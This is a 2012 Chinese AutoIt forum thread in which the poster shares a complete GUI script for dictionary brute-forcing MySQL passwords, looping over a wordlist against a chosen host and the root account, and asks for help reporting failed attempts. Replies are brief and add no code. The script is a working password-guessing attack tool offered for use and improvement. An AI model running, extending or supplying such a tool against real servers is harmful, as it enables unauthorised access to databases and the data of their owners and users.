找回密码
 加入
搜索
查看: 2531|回复: 5

[AU3基础] Mysql暴力破解失败,如何输出?

[复制链接]
发表于 2012-5-19 10:38:53 | 显示全部楼层 |阅读模式
我写了一段这样的代码,但是由于是初学所以不是很懂,请大牛帮我修改一下。

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <File.au3>
#include <Array.au3>
#include <EzMySql.au3>
#region ### START Koda GUI section ### Form=
Dim $host, $user, $pass

$Form1 = GUICreate("Mysql密码破解", 452, 299, -1, -1, -1, $WS_EX_ACCEPTFILES)
$Label1 = GUICtrlCreateLabel("IP地址:", 32, 72, 50, 17)
$input1 = GUICtrlCreateInput("localhost", 88, 70, 121, 21)
$Label2 = GUICtrlCreateLabel("账号:", 224, 72, 40, 17)
$input2 = GUICtrlCreateInput("root", 280, 70, 121, 21)
$Label3 = GUICtrlCreateLabel("密码字典路径:", 32, 120, 88, 17)
$input3 = GUICtrlCreateInput("", 128, 118, 185, 21)
GUICtrlSetState(-1, $GUI_DROPACCEPTED)
$Label4 = GUICtrlCreateLabel("可拖动文件", 328, 120, 76, 17)
$Button1 = GUICtrlCreateButton("开始破解", 104, 176, 75, 25)
$Button2 = GUICtrlCreateButton("停止破解", 232, 176, 75, 25)
$Label5 = GUICtrlCreateLabel("破解结果:", 32, 232, 64, 17)
$Label6 = GUICtrlCreateLabel("", 90, 232, 400, 17)
GUISetState(@SW_SHOW)
#endregion ### END Koda GUI section ###



While 1
        $nMsg = GUIGetMsg()
        Switch $nMsg
                Case $GUI_EVENT_CLOSE
                        Exit
                Case $Button1
                        _startcrack()
                Case $Button2
                        _stopcrack()
                       

        EndSwitch
WEnd

Func _startcrack()
        $host = GUICtrlRead($input1)
        $user = GUICtrlRead($input2)
        $dicpath = GUICtrlRead($input3)
        _FileReadToArray($dicpath, $pass)
        For $i = 1 To $pass[0]
                _EzMySql_Startup()
                $conn = _EzMySql_open($host, $user, $pass[$i], "", "3306")
                If $conn = 1 Then
                        GUICtrlSetData($Label6,$pass[$i])
                EndIf
                _EzMySql_Close()
            _EzMysql_ShutDown()
        Next
EndFunc   ;==>_startcrack

Func _stopcrack()
       
EndFunc   ;==>_stopcrack
发表于 2012-5-19 10:54:52 | 显示全部楼层
啥 破解ADSL!? 这个还牛了
 楼主| 发表于 2012-5-19 11:26:07 | 显示全部楼层
这个是破解mysql密码的。不是ADSL
 楼主| 发表于 2012-5-20 09:10:57 | 显示全部楼层
大牛们周末都休息了?
发表于 2012-5-20 11:37:08 | 显示全部楼层
没懂是什么问题
 楼主| 发表于 2012-5-21 10:23:34 | 显示全部楼层
就是破解失败的时候,不知道如何输出,判断语句不太会弄。
您需要登录后才可以回帖 登录 | 加入

本版积分规则

QQ|手机版|小黑屋|AUTOIT CN ( 鲁ICP备19019924号-1 )谷歌 百度

GMT+8, 2024-11-14 13:08 , Processed in 0.074000 second(s), 23 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表